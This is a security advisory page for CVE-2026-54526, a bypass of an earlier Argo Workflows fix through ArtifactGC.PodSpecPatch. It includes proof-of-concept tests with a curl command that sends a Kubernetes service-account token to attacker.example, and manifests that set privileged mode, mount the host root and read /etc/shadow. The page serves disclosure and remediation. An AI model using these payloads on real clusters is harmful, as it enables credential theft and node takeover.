CVE-2026-54526: Argo Workflows: Incomplete fix for CVE-2026-31892: ArtifactGC.PodSpecPatch bypass of Strict/Secure templateReferencing

Published Jul 16, 2026
·
Updated

Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale }

func ValidateUserOverrides(userSpec wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... }

The allow-listed type - pkg/apis/workflow/v1alpha1/workflowtypes.go:1207-1217:

go type WorkflowLevelArtifactGC struct { ArtifactGC json:",inline" ForceFinalizerRemoval bool json:"forceFinalizerRemoval,omitempty" PodSpecPatch string json:"podSpecPatch,omitempty" // <-- sink input }

The sink - workflow/controller/artifactgc.go:731-740 reads the user-controlled value:

go func (woc wfOperationCtx) getArtifactGCPodInfo(artifact wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... }

And workflow/controller/artifactgc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = patchedPodSpec }

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifactgc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifactgc.go:79 HasArtifactGC iterates execWf.Spec.Templates[].Outputs.Artifacts[] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflowtypes.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.PodSpecPatch" --include=".go" workflow/validate/ (no output)

The merge-package test file added with the fix (workflow/util/mergetest.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/mergeartifactgcpoctest.go:

go package util

import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" )

func TestPoCArtifactGCPodSpecPatchPassesAllowList(t testing.T) { attackerPatch := {"containers":[{"name":"main","image":"attacker/evil:latest", + "command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}], + "hostNetwork":true} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, }

// Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec))

// Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) }

poc/artgcsinkpoctest.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

go func TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t testing.T) { attackerPatch := containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYSADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec)

// Baseline built exactly like workflow/controller/artifactgc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ / AutomountSAToken=true, MinimalCtrSC, limits, etc. / }

patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err)

assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) }

Run:

go test -v -run "TestPoCArtifactGC" ./workflow/util/

Captured output:

=== RUN TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoCArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoCArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s

End-to-end Workflow manifest (for a live cluster reproduction by maintainers):

yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /}

Controller config for the test cluster:

yaml workflowRestrictions: templateReferencing: Strict

With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.

Impact

Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:

- run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYSADMIN], - mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).

This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.

A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Other sources

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 3.7.15 and 4.0.6, the allow-list fix for CVE-2026-31892 is incomplete because workflow/util/merge.go ValidateUserOverrides and SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection, and WorkflowSpec.ArtifactGC is allow-listed wholesale; the struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod, the same sink the original fix closed for WorkflowSpec.PodSpecPatch, so a user submitting a Workflow under templateReferencing: Strict or Secure (against a referenced WorkflowTemplate that declares an output artifact and setting spec.artifactGC.strategy: OnWorkflowCompletion) can still inject an arbitrary strategic merge patch into the artifact-GC pod, including hostPath volumes, privileged: true, arbitrary image and command, and hostNetwork: true, defeating the stated purpose of Strict/Secure reference mode. This issue is fixed in versions 3.7.15 and 4.0.6.

MITRE

Affected Software

6 affected componentsFixes available
Argo Argo Workflows>0<3.7.15, >0<4.0.6, >=3.7.15<=3.7.15, >=4.0.6<=4.0.6
argoproj Argo Workflows Go<3.7.15
argoproj Argo Workflows Go>=4.0.0<4.0.6
go/github.com/argoproj/argo-workflows<=2.5.3-rc4
go/github.com/argoproj/argo-workflows/v3<3.7.15
3.7.15
go/github.com/argoproj/argo-workflows/v4>=4.0.0<4.0.6
4.0.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/argoproj/argo-workflows/v3 to a version that resolves this vulnerability.

    Fixed in 3.7.15
  2. Upgrade

    Upgrade go/github.com/argoproj/argo-workflows/v4 to a version that resolves this vulnerability.

    Fixed in 4.0.6
  3. Upgrade

    Upgrade argo-workflows to a version that resolves this vulnerability.

    Fixed in 3.7.15
  4. Upgrade

    Upgrade argo-workflows to a version that resolves this vulnerability.

    Fixed in 4.0.6
  5. Configuration

    Add/extend validation so that when workflowTemplateRef is used in Strict/Secure mode (WorkflowRestrictions.MustUseReference() is true), ValidateUserOverrides and/or SanitizeUserWorkflowSpec rejects or empties `WorkflowSpec.ArtifactGC.PodSpecPatch` (and the same sink input `ArtifactGC.PodSpecPatch`) so user-supplied strategic merge patches cannot reach `util.ApplyPodSpecPatch`.

    Argo Workflows (workflow/util/merge.go) ValidateUserOverrides / SanitizeUserWorkflowSpec - allow-list of ArtifactGC.PodSpecPatch when WorkflowRestrictions.MustUseReference() is true = Reject/empty ArtifactGC.PodSpecPatch (i.e., treat it as empty so it is not passed to ApplyPodSpecPatch)

Event History

Jul 16, 2026
CVE Published
via MITRE·07:07 PM
Data Sourced
via MITRE·07:07 PM
DescriptionWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Aug 13, 2026
Advisory Published
via GitHub·02:16 PM
Data Sourced
via GitHub·02:16 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-54526?

CVE-2026-54526 has a severity rating of high with a score of 8.9.

2

How do I fix CVE-2026-54526?

To address CVE-2026-54526, upgrade to Argo Workflows version 3.7.15 or 4.0.6 or later.

3

What systems are affected by CVE-2026-54526?

CVE-2026-54526 affects Argo Workflows versions prior to 3.7.15 and 4.0.6.

4

What is the nature of the vulnerability in CVE-2026-54526?

CVE-2026-54526 is a bypass vulnerability related to the incomplete fix for CVE-2026-31892 affecting the artifact GC PodSpecPatch.

5

What components should I review for CVE-2026-54526?

Review the workflow/util/merge.go code for ValidateUserOverrides and SanitizeUserWorkflowSpec in relation to CVE-2026-54526.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203